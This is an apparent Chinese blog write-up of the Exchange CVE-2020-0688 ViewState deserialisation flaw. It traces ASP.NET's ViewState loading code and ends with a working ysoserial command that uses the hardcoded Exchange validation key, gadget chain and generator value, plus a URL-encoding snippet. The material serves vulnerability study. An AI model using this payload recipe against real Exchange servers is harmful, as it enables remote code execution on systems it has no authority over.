Exchange CVE-2020-0688代碼執行漏洞分析

Exchange CVE-2020-0688代碼執行漏洞分析

前言

學習exchange漏洞記錄

ViewState 反序列化利用

ViewState概述

ViewState機制是asp.net中對同一個Page的多次請求(PostBack)之間維持Page及控件狀態的一種機制。在WebForm中每次請求完,Page對象都會被釋放,對同一個Page的多次請求之間的狀態信息,如何進行維護呢?WebForm中,每次請求都會存在客戶端和服務器之間的一個交互。如果請求完成之後將一些信息傳回到客戶端,下次請求的時候客戶端再將這些狀態信息提交給服務器,服務器端對這些信息使用和處理,再將這些信息傳回給客戶端。這樣是不是就可以對同一個Page的多次請求(PostBack)之間維持狀態了。對這就是ViewState的基本工作模式。ViewState的設計目的主要就是爲了將必要的信息持久化在頁面中。這樣通過ViewState在頁面回傳的過程中保存狀態值,使原本沒有“記憶”的Http協議變得有“記憶”起來。

ViewState 解析流程

ViewState 只是NET中的一個機制,在ASP.NET 在生成和解析ViewState時使用ObjectStateFormatter 進行序列化和反序列化,雖然在序列化後又進行了加密和簽名,但是一旦泄露了加密和簽名所使用的算法和密鑰,我們就可以將ObjectStateFormatter 的反序列化payload 僞裝成正常的ViewState,並觸發ObjectStateFormatter 的反序列化漏洞。

查看客戶端html源代碼

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />

這是ViewState 在客戶端中保存的形式,它保存在一個ID爲__VIEWSTATE的Hidden中,它的Value是使用Base64編碼後的字符串。這個字符串實際上是一個對象(Pair類型)序列化之後的結果。這個對象保存了整個頁面的控件樹的ViewState。可以拿解碼工具解密看看這串加密的內容。

解析成了一個Pair對象

也就是這串數據則是base64編碼後的序列化數據。

在服務器端和ViewState機制密切相關的有三個類Page,Control,StateBag。

Page繼承自Control,Control和StateBag是聚合關係,在Control中有一個StateBag的實例ViewState。這三個類互相協作完成ViewState機制的大概過程如下。Page對客戶端請求進行處理,在處理的過程中先是將客戶端提交的_VIEWSTATE反序列化爲對象,調用Control的相關方法給所有的控件裝載數據,這些數據是上次請求結束後控件的狀態數據。在之後的一些事件中這些狀態數據可能被修改。在請求結束之前調用Control的相關方法得到所有控件的被修改過的狀態數據,之後Page將其進行序列化,並返回給客戶端。在Control中又具體調用StateBag類的方法完成狀態數據的加載和保存。

Page生命週期,如圖

整一個page會先走到Page.ProcessRequestMain()方法

private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
		{
			try
			{
				HttpContext context = this.Context;
				string text = null;
				if (includeStagesBeforeAsyncPoint)
				{
					if (this.IsInAspCompatMode)
					{
						AspCompatApplicationStep.OnPageStartSessionObjects();
					}
					if (this.PageAdapter != null)
					{
						this._requestValueCollection = this.PageAdapter.DeterminePostBackMode();
					}
					else
					{
						this._requestValueCollection = this.DeterminePostBackMode();
					}
					string text2 = string.Empty;
					if (this.DetermineIsExportingWebPart())
					{
                  ......//省略代碼
					this.InitRecursive(null);
					if (EtwTrace.IsTraceEnabled(5, 4))
					{
						EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_INIT_LEAVE, this._context.WorkerRequest);
					}
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "End Init");
					}
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "Begin InitComplete");
					}
					this.OnInitComplete(EventArgs.Empty);
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "End InitComplete");
					}
					if (this.IsPostBack)
					{
						if (context.TraceIsEnabled)
						{
							this.Trace.Write("aspx.page", "Begin LoadState");
						}
						if (EtwTrace.IsTraceEnabled(5, 4))
						{
							EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
						}
						this.LoadAllState();
						if (EtwTrace.IsTraceEnabled(5, 4))
						{
							EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
						}
						......//省略代碼
						this.SaveAllState();
                    
                        ......//省略代碼

InitRecursive

初始化階段調用Control. InitRecursive,它遞歸對所有的控件進行初始化。隨後調用InitRecursive方法

System.Web.UI.Control#InitRecursive ->System.Web.UI.Control#InitRecursive

跟蹤代碼

判斷傳參過來的_viewState是否爲空,不爲空調用,this._viewState.TrackViewState();

TrackViewState方法代碼

internal void TrackViewState()
		{
			this.marked = true;
		}

設置值爲true。

TrackViewState方法的代碼作用就是中打開跟蹤ViewState開關。

LoadAllState

Page中繼續調用LoadAllState,跟蹤查看

LoadAllState只有在PostBack的時候纔會執行,即爲一個標記,記錄是否爲第一次加載。

它的主要功能是將從頁面傳遞來的__VIEWSTATE的值反序列化爲Pair類型的對象,然後將這個對象中存儲的ViewState的值加載到Page及所有控件中。實際上LoadAllState加載了ControlState(控件狀態)及ViewState(視圖狀態)。

即該部分實現反序列化操作。

SaveAllState

SaveAllState它的操作和LoadAllState相反。

將Control.SaveViewStateRecursive生成的對象序列化爲一個字符串,並賦值給Page.ClientState屬性

最終將ClientState屬性中的值寫入到HTML頁面的_VIEWSTATE中。

該部分實現序列化並且將序列化的內容寫到HTML頁面中。

反序列化流程分析

跟蹤代碼LoadAllState

private void LoadAllState()
		{
			object obj = this.LoadPageStateFromPersistenceMedium();
			IDictionary dictionary = null;
			Pair pair = null;
			Pair pair2 = obj as Pair;
			if (obj != null)
			{
				dictionary = (pair2.First as IDictionary);
				pair = (pair2.Second as Pair);
			}
			... 
protected internal virtual object LoadPageStateFromPersistenceMedium()
		{
			PageStatePersister pageStatePersister = this.PageStatePersister;
			try
			{
				pageStatePersister.Load();
			}
			catch (HttpException ex)
			{
				...
				}

HiddenFieldPageStatePersister.Load

public override void Load()
		{
			if (base.Page.RequestValueCollection == null)
			{
				return;
			}
			string text = null;
			try
			{
				text = base.Page.RequestViewStateString;
				if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
				{
					Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);
					base.ViewState = pair.First;
					base.ControlState = pair.Second;
				}
			}
			catch (Exception ex)
			{
				if (ex.InnerException is ViewStateException)
				{
					throw;
				}
				ViewStateException.ThrowViewStateError(ex, text);
			}
		}

Util.DeserializeWithAssert

至此流程走到ObjectStateFormatter.Deserialize()反序列化方法中。

將字符串進行Base64解碼爲字節流,如果需要解密則進行解密處理,否則需要進行需要Mac則進行Mac處理,將字節流轉換爲內存流,進行反序列化返回Pair對象

private object Deserialize(string inputString, Purpose purpose)
		 ...
			byte[] array = Convert.FromBase64String(inputString);
			int num = array.Length;
			try
			{
				if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !this._forceLegacyCryptography)
				{
					if (this._page != null && (this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac))
					{
						Purpose purpose2 = purpose.AppendSpecificPurposes(this.GetSpecificPurposes());
						ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(purpose2, CryptoServiceOptions.None);
						byte[] array2 = cryptoService.Unprotect(array);
						array = array2;
						num = array2.Length;
					}
				}
				else if (this._page != null && this._page.ContainsEncryptedViewState)
				{
					array = MachineKeySection.EncryptOrDecryptData(false, array, this.GetMacKeyModifier(), 0, num);
					num = array.Length;
				}
				else if ((this._page != null && this._page.EnableViewStateMac) || this._macKeyBytes != null)
				{
					array = MachineKeySection.GetDecodedData(array, this.GetMacKeyModifier(), 0, num, ref num);
				}
			}

在Asp.net2.0中實現PageStatePersister這個抽象類,具體提供持久化機制的類是HiddenFieldPageStatePersister。它實現了Load和Save兩個方法,Load時將__VIEWSTATE反序列化爲一個Pair對象,Save時將Pair對象序列化爲一個字符串賦值給Page.ClientStateHiddenFieldPageStatePersister中採用的格式器是ObjectStateFormatter,其實string Serialize(object state),和object Deserialize(string serializedState)這兩個方法,從而實現對Pair對象的序列化和反序列化。

以上整一個流程下來就是ProcessRequestMain 中判斷是否爲PostBack 狀態,如果是就獲取__VIEWSTATE ,調用LoadAllState 方法進行反序列化操作。

web.config配置ViewState

ViewState 使用ObjectStateFormatter 進行反序列化操作,ViewState 採取了加密和簽名的安全措施。但是如果加密密鑰泄露,依然可以僞裝加密的數據進行攻擊。

enableViewState: 用於設置是否開啓viewState

enableViewStateMac: 用於設置是否開啓ViewState Mac (校驗)功能。4.5.2之前,該選項爲false,可以禁止Mac校驗功能。但是在4.5.2之後,強制開啓ViewState Mac 校驗功能.

viewStateEncryptionMode: 用於設置是否開啓ViewState Encrypt (加密)功能。該選項的值有三種選擇:Always、Auto、Never。

  • Always表示ViewState始終加密;
  • Auto表示 如果控件通過調用 RegisterRequiresViewStateEncryption() 方法請求加密,則視圖狀態信息將被加密,這是默認值;
  • Never表示 即使控件請求了視圖狀態信息,也永遠不會對其進行加密。
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

validationKeydecryptionKey 分別是校驗和加密所用的密鑰,validationdecryption則是校驗和加密所使用的算法(可以省略,採用默認算法)。校驗算法包括: SHA1、 MD5、 3DES、 AE、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由於web.config 保存在服務端上,在不泄露machineKey的情況下,保證了ViewState的安全性。

Exchange 漏洞分析

在exchange ecp路由接口中使用了VIEWSTATE

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />

而web.config 中加密的密鑰爲硬編碼

即可使用密鑰僞造加密數據進行攻擊。

使用yso生成數據

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="aa29629a-fdaf-4268-a3c0-3c9f7bc97703" --isdebug –-islegacy
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)

--validationalg = SHA1(默認,漏洞產生原因)

--generator=B97B4E27(基本默認)

--viewstateuserkey = ASP.NET_SessionId的值

生成數據後需要url編碼

from urllib.parse import quote

input_str ="payload"

quote(input_str,"utf-8")

參考

net-反序列化之-viewstate-利用

ViewState機制由淺入深

CVE-2020-0688的武器化與.net反序列化漏洞那些事

cve-2020-0688-Exchange-遠程代碼執行分析及復現

結尾

此篇幅缺少一些細節如處理流程中的加密步驟等,.net代碼能力較差,後面再回來分析細節。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章